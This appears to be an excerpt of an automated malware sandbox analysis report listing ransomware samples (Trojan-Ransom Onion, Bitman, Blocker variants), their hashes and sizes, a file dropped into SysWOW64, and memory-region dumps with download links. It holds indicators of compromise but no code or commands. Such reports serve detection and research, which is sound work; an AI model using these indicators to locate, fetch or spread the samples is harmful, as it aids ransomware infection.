                                                                            Filesize

                                                                            154KB

                                                                            MD5

                                                                            ac03193980258ef783e8496a033b0ea5

                                                                            SHA1

                                                                            b5d91fea3498b2b9b7f99b9d61109831dfdebf64

                                                                            SHA256

                                                                            0ff45e5a5bf26fb129fbc80830b64c864eff8509d7ba73968f5f5afee9e76f8c

                                                                            SHA512

                                                                            e39b40d66124c3a810e729c087cabe83e3686634993b163e8483ba9e1aa54077e9a01e25158200d84bf827abc139430b4bf433248b9056d88f18527d90c16b72

                                                                            Download Submit

                                                                          • C:\Users\Admin\Desktop\00263\Trojan-Ransom.NSIS.Onion.rfx-447b415548109af7cc0f365b451dca3871165b22c2f78d2404ef6d64ef53af50.exe
                                                                            Filesize

                                                                            163KB

                                                                            MD5

                                                                            5c3bb03b4264c418ab302495d453c216

                                                                            SHA1

                                                                            b2c3f4ab92bd2b4148a5508c72bf94b79530758e

                                                                            SHA256

                                                                            447b415548109af7cc0f365b451dca3871165b22c2f78d2404ef6d64ef53af50

                                                                            SHA512

                                                                            d2d7099463cd7c8d1ab20eb7054bb0fb2721c67c92c3dd1908107462f90180fa0c4478a6574944aca5b8fbc1a7de5b0c0d0def235be2a5b0f3b009aac8590ca6

                                                                            Download Submit

                                                                          • C:\Users\Admin\Desktop\00263\Trojan-Ransom.NSIS.Xamyh.byr-8628de0058b0a0a3fb0a68a6e62827e28d8b74a7a0cfed84764394692caefd92.exe
                                                                            Filesize

                                                                            219KB

                                                                            MD5

                                                                            385af1697f3c8dc280ca4eca303cd79a

                                                                            SHA1

                                                                            d2696e30475c91cd6c0e8bb295191bf2729d2f9e

                                                                            SHA256

                                                                            8628de0058b0a0a3fb0a68a6e62827e28d8b74a7a0cfed84764394692caefd92

                                                                            SHA512

                                                                            63cebf1ebd346e8a4a460ac0d1ea586f8c648fada8bee3bf41e90e4c1dd80423a3dce063470722e5ef8092acf9987fd2bf34805a769df6231a9ab0cdbb760504

                                                                            Download Submit

                                                                          • C:\Users\Admin\Desktop\00263\Trojan-Ransom.Win32.Bitman.prq-0f5bfe270ccd6b20554570e407cc0490477030b4cbb3a991fb647810d6a75039.exe
                                                                            Filesize

                                                                            284KB

                                                                            MD5

                                                                            3615c9ef28ac6b885405ad433b338ce9

                                                                            SHA1

                                                                            8b39c75a87aba608976d6ebc5be6d511b82fd634

                                                                            SHA256

                                                                            0f5bfe270ccd6b20554570e407cc0490477030b4cbb3a991fb647810d6a75039

                                                                            SHA512

                                                                            5d94bb315e1a2f0dd3784c4ccced48f5cbf29d9a4fb776ad88e504fc9123e725a333af49e5ac453b21b3094941c546c5543ac9f8737917d9c9ecc035fc4e51d1

                                                                            Download Submit

                                                                          • C:\Users\Admin\Desktop\00263\Trojan-Ransom.Win32.Bitman.qaq-484310b18da6020cef984bb0526e2c96a56f3ab888bd82ab13443a7b95677a7e.exe
                                                                            Filesize

                                                                            472KB

                                                                            MD5

                                                                            e024ce1c5d71f85b0eacecd75daef2dd

                                                                            SHA1

                                                                            ca548ba9640d4b3380ffaeab35f8184216e733aa

                                                                            SHA256

                                                                            484310b18da6020cef984bb0526e2c96a56f3ab888bd82ab13443a7b95677a7e

                                                                            SHA512

                                                                            de5aadc9b15ff345e9bc8ba01e71011b38bbdbeca149a4dc6bb3a5536f9ac99007767335078ffac987ef3f7b16baa82e2053041dbde2505c52c73689949607d8

                                                                            Download Submit

                                                                          • C:\Users\Admin\Desktop\00263\Trojan-Ransom.Win32.Blocker.adrx-252606462204f769be29fbd0a7370fb370648a24062efbbc6164c47384ea72cd.exe
                                                                            Filesize

                                                                            2.6MB

                                                                            MD5

                                                                            09efa9e206786bbaf51fb20429e729c7

                                                                            SHA1

                                                                            a8c2d0cfa00cb0c3831ae18c4690758580ad26ab

                                                                            SHA256

                                                                            252606462204f769be29fbd0a7370fb370648a24062efbbc6164c47384ea72cd

                                                                            SHA512

                                                                            13abb0229811e2e878274fb2271f80f456b75149d0aea510c73f805ff3309414f2332cfa5b558a50e5c351d0cad68c4089d4c095f3ef41360d19b525770a4d41

                                                                            Download Submit

                                                                          • C:\Users\Admin\Desktop\00263\Trojan-Ransom.Win32.Blocker.buao-b897e6c3b48dafdb89c38a61609a56d65473ee5087dbe1f14935f112e4194d18.exe
                                                                            Filesize

                                                                            2.6MB

                                                                            MD5

                                                                            cae3977cc2992a1448eade6243411a0f

                                                                            SHA1

                                                                            d7d143ce3364849d7ef6b453c660fb61ecea6c38

                                                                            SHA256

                                                                            b897e6c3b48dafdb89c38a61609a56d65473ee5087dbe1f14935f112e4194d18

                                                                            SHA512

                                                                            fbc75a30fd16a0256b02ff35964b67e7edf0e10f23a2b010a575e3ea1a781e0fb92ec74f634be2abb2721c287eb82946271f843a81a3789c4de275461250ca01

                                                                            Download Submit

                                                                          • C:\Users\Admin\Desktop\00263\Trojan-Ransom.Win32.Blocker.cnkq-2314b1587fdbad3751c6c87de99254cde6b86a82597054e1929530bc7dd11f53.exe
                                                                            Filesize

                                                                            2.6MB

                                                                            MD5

                                                                            ce6a12f6aae9701c8cc031cdef1e3c54

                                                                            SHA1

                                                                            3abdf208200bf2a13566acdca80ea317a9fb96ef

                                                                            SHA256

                                                                            2314b1587fdbad3751c6c87de99254cde6b86a82597054e1929530bc7dd11f53

                                                                            SHA512

                                                                            69592671e119ee0a9f0b80c2cc14aa7dc7038e419aff3bae090f3c3e789289c399b1598f474768a8d7087b08e3b787fc062d924f6a3dec9df9542786f2fc97af

                                                                            Download Submit

                                                                          • C:\Users\Admin\Desktop\00263\Trojan-Ransom.Win32.Blocker.iean-98087e0316a81117112bdd908d5d727904dbd374e6fd4dfd9f96903f484546c4.exe
                                                                            Filesize

                                                                            2.9MB

                                                                            MD5

                                                                            fee320bcd35202662e4d8c488ff8cd75

                                                                            SHA1

                                                                            0cffbfd847bf02e8e7f48d99e580ee6a7af19c95

                                                                            SHA256

                                                                            98087e0316a81117112bdd908d5d727904dbd374e6fd4dfd9f96903f484546c4

                                                                            SHA512

                                                                            5c51cc741b02982e934f331cdddebb5d39ece97d24288ab658eace5e05f5408b6a1990c05ca19bcf80f743fc1467ad6bdaf3419ad4a9295bbfa97185d451ad07

                                                                            Download Submit

                                                                          • C:\Users\Admin\Desktop\00263\Trojan-Ransom.Win32.Blocker.ihns-7db45877210fd5ddf027c63b3a493dbebd004859cf56622c0c2206b23523951f.exe
                                                                            Filesize

                                                                            1.1MB

                                                                            MD5

                                                                            0c8b9f0a3dfd42c073cfe3418c3aeba9

                                                                            SHA1

                                                                            e0255c7275a74641f965f086cb5954341f0f6559

                                                                            SHA256

                                                                            7db45877210fd5ddf027c63b3a493dbebd004859cf56622c0c2206b23523951f

                                                                            SHA512

                                                                            9fcdf444c9edf7f6a163bc52e7178bc87e39aa7b2a4f7cd68f4f1679ad138bf546e8cff48236af17bcd2d82b75a9474c8289f6676561fc63a55ee3a4d4751f34

                                                                            Download Submit

                                                                          • C:\Users\Admin\Desktop\00263\Trojan-Ransom.Win32.Blocker.iqmc-637a452c8f31b7727ef6236b7a4d764845a7911a73c87d3978db49c7b7f8579d.exe
                                                                            Filesize

                                                                            1.5MB

                                                                            MD5

                                                                            c6f94fd5ed339ad9972be2b13c11bc0e

                                                                            SHA1

                                                                            40663a465adc6fe26014edb8a947c2b9da20b973

                                                                            SHA256

                                                                            637a452c8f31b7727ef6236b7a4d764845a7911a73c87d3978db49c7b7f8579d

                                                                            SHA512

                                                                            5926944a533b64f38cf6337b0eb6b68df27eb6240fc4fc1ab06a163999cdbb58bdce12f66c1e3767e3e5634948dc9a8854115f187d4ed422e0d5aa68b1199c47

                                                                            Download Submit

                                                                          • C:\Users\Admin\Desktop\00263\Trojan-Ransom.Win32.Blocker.iuiw-180ad3ebe674e5f024c0c9950880467c4c592f7b8eab4c95a7460d25396310e9.exe
                                                                            Filesize

                                                                            3.2MB

                                                                            MD5

                                                                            ca6b04c1cd62c190853f651465556c75

                                                                            SHA1

                                                                            c4e6b9ae08851053f82d8cb264f0cae45984e7d9

                                                                            SHA256

                                                                            180ad3ebe674e5f024c0c9950880467c4c592f7b8eab4c95a7460d25396310e9

                                                                            SHA512

                                                                            8d23c50bcdff217dcf5b8570e17d898e1621d65cad7d16e8977828507bfafe6ac3cf77524dea92ef110a7a333002c6dd7ede9e75f936f987f1b783a135efbe2c

                                                                            Download Submit

                                                                          • C:\Users\Admin\Desktop\00263\Trojan-Ransom.Win32.Blocker.ivbx-d5d07f7b2f5b9b6b68dd6b7c62001ba1eea36b66f0a301b0a4b2ae6b65520804.exe
                                                                            Filesize

                                                                            1.5MB

                                                                            MD5

                                                                            d0fe56e43a2b7acc64f2589a12add45b

                                                                            SHA1

                                                                            ff4f287c421e53e03e402c3b99117491de8f0260

                                                                            SHA256

                                                                            d5d07f7b2f5b9b6b68dd6b7c62001ba1eea36b66f0a301b0a4b2ae6b65520804

                                                                            SHA512

                                                                            e3d2e4c7d737091d2b2ac48e00536c95b955d948fd5c99793e281798bfe48eb9ae98aaf06a19eb5632b2082b2c1e1b09bdffdb620ff89b0749d1d50a15eb5919

                                                                            Download Submit

                                                                          • C:\Users\Admin\Desktop\00263\Trojan-Ransom.Win32.Blocker.jagv-88520ca1e5e6e24f412111bda3a1b636795705c16622d6d8c9d0be431288eab9.exe
                                                                            Filesize

                                                                            821KB

                                                                            MD5

                                                                            93f20d2ba014741cd1f606edcca8b5dd

                                                                            SHA1

                                                                            41ff6a5b411cce36b895051b2a4fcdbbb6721461

                                                                            SHA256

                                                                            88520ca1e5e6e24f412111bda3a1b636795705c16622d6d8c9d0be431288eab9

                                                                            SHA512

                                                                            41fa9df0f4a248a70b0bf10551ee17674adfd55e643b5cd8d015afeb5537e5d84bb4c7a8a36ebb078338b680c39e532b08e83474bf222af55ba75ef8bd4a19a2

                                                                            Download Submit

                                                                          • C:\Users\Admin\Desktop\00263\Trojan-Ransom.Win32.Blocker.jaty-578a9d7d69f18775d40d77d2dce46c412ece738908e6261be0afb0f836590c26.exe
                                                                            Filesize

                                                                            1.0MB

                                                                            MD5

                                                                            09326f9e7459456aca1b965db24c3be9

                                                                            SHA1

                                                                            643fbcbe73901ce14571b76a5a3d8cc9b3880cef

                                                                            SHA256

                                                                            578a9d7d69f18775d40d77d2dce46c412ece738908e6261be0afb0f836590c26

                                                                            SHA512

                                                                            0eff1340e700c59e16215f8066ccdf809fa04f1a159b81b117c8434a3571ca95060e83e9eded5de579cef073ec99c63c4156583d2aac5dd0b11018d2de4129d5

                                                                            Download Submit

                                                                          • C:\Users\Admin\Desktop\00263\Trojan-Ransom.Win32.Blocker.jewm-39fdf7cb955de78bb4c9e55ff269fd4dbdf8d5d38d540e2245f87cefb21fb91b.exe
                                                                            Filesize

                                                                            1.8MB

                                                                            MD5

                                                                            94bdf1b1404a90c7563bee8143c37c40

                                                                            SHA1

                                                                            d00a543f39971f38f24b4fe6c92643cedeba2fa2

                                                                            SHA256

                                                                            39fdf7cb955de78bb4c9e55ff269fd4dbdf8d5d38d540e2245f87cefb21fb91b

                                                                            SHA512

                                                                            eaed717fae7552e8701f5d2e5289afe042863f2ed2eaf4f1d29de74185ea414cbea2f1d618f48a06fdb1abf1dec8f837c61ac305e299cbb956ae100ff8fbd164

                                                                            Download Submit

                                                                          • C:\Windows\SysWOW64\matthi.exe
                                                                            Filesize

                                                                            1.1MB

                                                                            MD5

                                                                            02ad7d4bdc9ff19a1e780a5c6363b8c0

                                                                            SHA1

                                                                            afb4a80f801f02719cee0f80efcf8aff4930320e

                                                                            SHA256

                                                                            8142d12fa8a873c7f1ecc682186d4d6afa275cd1ac3f311af7d70d3e2784bdbf

                                                                            SHA512

                                                                            14c881f6f4b990e7f5a78d1091eb49ef84f807f69aec83797c8f73532215e860afa1be7a1098d48984175d051c7bff40f1f10b3f59ec9bfa2462ea1ee5ecfcfd

                                                                            Download Submit

                                                                          • memory/1288-364-0x0000000000400000-0x000000000048A000-memory.dmp

                                                                            Filesize

                                                                            552KB

                                                                            Download

                                                                          • memory/1832-385-0x000000001B4D0000-0x000000001B63E000-memory.dmp

                                                                            Filesize

                                                                            1.4MB

                                                                            Download

                                                                          • memory/1832-391-0x000000001BE10000-0x000000001C2DE000-memory.dmp

                                                                            Filesize

                                                                            4.8MB

                                                                            Download

                                                                          • memory/1832-388-0x000000001B860000-0x000000001B906000-memory.dmp

                                                                            Filesize

                                                                            664KB

                                                                            Download

                                                                          • memory/1832-309-0x0000000000400000-0x0000000000443000-memory.dmp

                                                                            Filesize

                                                                            268KB

                                                                            Download

                                                                          • memory/1832-393-0x000000001C3E0000-0x000000001C47C000-memory.dmp

                                                                            Filesize

                                                                            624KB

                                                                            Download

                                                                          • memory/1832-394-0x0000000000EC0000-0x0000000000EC8000-memory.dmp

                                                                            Filesize

                                                                            32KB

                                                                            Download

                                                                          • memory/1832-395-0x000000001C640000-0x000000001C68C000-memory.dmp

                                                                            Filesize

                                                                            304KB

                                                                            Download

                                                                          • memory/2088-361-0x0000000000400000-0x000000000157B000-memory.dmp

                                                                            Filesize

                                                                            17.5MB

                                                                            Download

                                                                          • memory/2088-382-0x0000000000400000-0x000000000157B000-memory.dmp

                                                                            Filesize

                                                                            17.5MB

                                                                            Download

                                                                          • memory/2372-203-0x0000000000400000-0x0000000000573000-memory.dmp

                                                                            Filesize

                                                                            1.4MB

                                                                            Download

                                                                          • memory/2884-193-0x0000000000400000-0x000000000040F000-memory.dmp

                                                                            Filesize

                                                                            60KB

                                                                            Download

                                                                          • memory/2884-374-0x0000000000400000-0x000000000040F000-memory.dmp

                                                                            Filesize

                                                                            60KB

                                                                            Download

                                                                          • memory/2884-367-0x0000000000400000-0x000000000040F000-memory.dmp

                                                                            Filesize

                                                                            60KB

                                                                            Download

                                                                          • memory/2884-368-0x0000000010000000-0x0000000010016000-memory.dmp

                                                                            Filesize

                                                                            88KB

                                                                            Download

                                                                          • memory/2884-373-0x0000000000400000-0x000000000040F000-memory.dmp

                                                                            Filesize

                                                                            60KB

                                                                            Download

                                                                          • memory/3184-438-0x0000000000400000-0x000000000069B000-memory.dmp

                                                                            Filesize

                                                                            2.6MB

                                                                            Download

                                                                          • memory/3276-482-0x0000000000400000-0x0000000000424000-memory.dmp

                                                                            Filesize

                                                                            144KB

                                                                            Download

                                                                          • memory/3276-472-0x0000000000400000-0x0000000000424000-memory.dmp

                                                                            Filesize

                                                                            144KB

                                                                            Download

                                                                          • memory/3276-256-0x0000000000400000-0x0000000000424000-memory.dmp

                                                                            Filesize

                                                                            144KB

                                                                            Download

                                                                          • memory/3276-475-0x0000000000400000-0x0000000000424000-memory.dmp

                                                                            Filesize

                                                                            144KB

                                                                            Download

                                                                          • memory/3276-471-0x0000000000400000-0x0000000000424000-memory.dmp

                                                                            Filesize

                                                                            144KB

                                                                            Download

                                                                          • memory/3372-291-0x0000000000400000-0x00000000004B2000-memory.dmp

                                                                            Filesize

                                                                            712KB

                                                                            Download

                                                                          • memory/4124-294-0x0000000000400000-0x000000000057B000-memory.dmp

                                                                            Filesize

                                                                            1.5MB

                                                                            Download

                                                                          • memory/4176-295-0x0000000000400000-0x0000000000584000-memory.dmp

                                                                            Filesize

                                                                            1.5MB

                                                                            Download

                                                                          • memory/4412-317-0x0000000002440000-0x0000000002456000-memory.dmp

                                                                            Filesize

                                                                            88KB

                                                                            Download

                                                                          • memory/4412-191-0x0000000002440000-0x0000000002456000-memory.dmp

                                                                            Filesize

                                                                            88KB

                                                                            Download

                                                                          • memory/4420-473-0x0000000000400000-0x000000000069D000-memory.dmp

                                                                            Filesize

                                                                            2.6MB

                                                                            Download

                                                                          • memory/4544-488-0x000000007F040000-0x000000007FAE2000-memory.dmp

                                                                            Filesize

                                                                            10.6MB

                                                                            Download

                                                                          • memory/4544-279-0x000000007F040000-0x000000007FAE2000-memory.dmp

                                                                            Filesize

                                                                            10.6MB

                                                                            Download

                                                                          • memory/4544-476-0x000000007F040000-0x000000007FAE2000-memory.dmp

                                                                            Filesize

                                                                            10.6MB

                                                                            Download

                                                                          • memory/4620-474-0x0000000000400000-0x00000000006A2000-memory.dmp

                                                                            Filesize

                                                                            2.6MB

                                                                            Download

                                                                          • memory/4840-733-0x0000000000400000-0x0000000000470000-memory.dmp

                                                                            Filesize

                                                                            448KB

                                                                            Download

                                                                          • memory/4840-788-0x0000000000400000-0x0000000000470000-memory.dmp

                                                                            Filesize

                                                                            448KB

                                                                            Download

                                                                          • memory/4968-104-0x0000021DC6480000-0x0000021DC6481000-memory.dmp

                                                                            Filesize

                                                                            4KB

                                                                            Download

                                                                          • memory/4968-103-0x0000021DC6480000-0x0000021DC6481000-memory.dmp

                                                                            Filesize

                                                                            4KB

                                                                            Download

                                                                          • memory/4968-92-0x0000021DC6480000-0x0000021DC6481000-memory.dmp

                                                                            Filesize

                                                                            4KB

                                                                            Download

                                                                          • memory/4968-98-0x0000021DC6480000-0x0000021DC6481000-memory.dmp

                                                                            Filesize

                                                                            4KB

                                                                            Download

                                                                          • memory/4968-94-0x0000021DC6480000-0x0000021DC6481000-memory.dmp

                                                                            Filesize

                                                                            4KB

                                                                            Download

                                                                          • memory/4968-93-0x0000021DC6480000-0x0000021DC6481000-memory.dmp

                                                                            Filesize

                                                                            4KB

                                                                            Download

                                                                          • memory/4968-99-0x0000021DC6480000-0x0000021DC6481000-memory.dmp

                                                                            Filesize

                                                                            4KB

                                                                            Download

                                                                          • memory/4968-100-0x0000021DC6480000-0x0000021DC6481000-memory.dmp

                                                                            Filesize

                                                                            4KB

                                                                            Download

                                                                          • memory/4968-101-0x0000021DC6480000-0x0000021DC6481000-memory.dmp

                                                                            Filesize

                                                                            4KB

                                                                            Download

                                                                          • memory/4968-102-0x0000021DC6480000-0x0000021DC6481000-memory.dmp

                                                                            Filesize

                                                                            4KB

                                                                            Download

                                                                          • memory/5036-336-0x0000000000400000-0x0000000001561000-memory.dmp

                                                                            Filesize

                                                                            17.4MB

                                                                            Download

                                                                          • memory/5480-544-0x0000000000400000-0x000000000045D000-memory.dmp

                                                                            Filesize

                                                                            372KB

                                                                            Download

                                                                          • memory/5480-428-0x0000000000400000-0x000000000045D000-memory.dmp

                                                                            Filesize

                                                                            372KB

                                                                            Download

                                                                          • memory/5480-423-0x0000000000400000-0x000000000045D000-memory.dmp

                                                                            Filesize

                                                                            372KB

                                                                            Download

                                                                          • memory/5480-421-0x0000000000400000-0x000000000045D000-memory.dmp

                                                                            Filesize

                                                                            372KB

                                                                            Download

                                                                          • memory/5480-422-0x0000000000400000-0x000000000045D000-memory.dmp

                                                                            Filesize

                                                                            372KB

                                                                            Download

                                                                          • memory/5532-434-0x0000000000400000-0x0000000000409000-memory.dmp

                                                                            Filesize

                                                                            36KB

                                                                            Download

                                                                          • memory/5532-433-0x0000000000400000-0x0000000000409000-memory.dmp

                                                                            Filesize

                                                                            36KB

                                                                            Download

                                                                          • memory/5532-439-0x0000000000400000-0x0000000000409000-memory.dmp

                                                                            Filesize

                                                                            36KB

                                                                            Download

                                                                          • memory/5532-432-0x0000000000400000-0x0000000000409000-memory.dmp

                                                                            Filesize

                                                                            36KB

                                                                            Download

                                                                          • memory/5876-551-0x0000000000400000-0x000000000043F000-memory.dmp

                                                                            Filesize

                                                                            252KB

                                                                            Download

                                                                          • memory/5876-460-0x0000000000400000-0x000000000043F000-memory.dmp

                                                                            Filesize

                                                                            252KB

                                                                            Download

                                                                          • memory/5876-461-0x0000000000400000-0x000000000043F000-memory.dmp

                                                                            Filesize

                                                                            252KB

                                                                            Download

                                                                          • memory/5876-467-0x0000000000400000-0x000000000043F000-memory.dmp

                                                                            Filesize

                                                                            252KB

                                                                            Download

                                                                          • memory/5876-462-0x0000000000400000-0x000000000043F000-memory.dmp

                                                                            Filesize

                                                                            252KB

                                                                            Download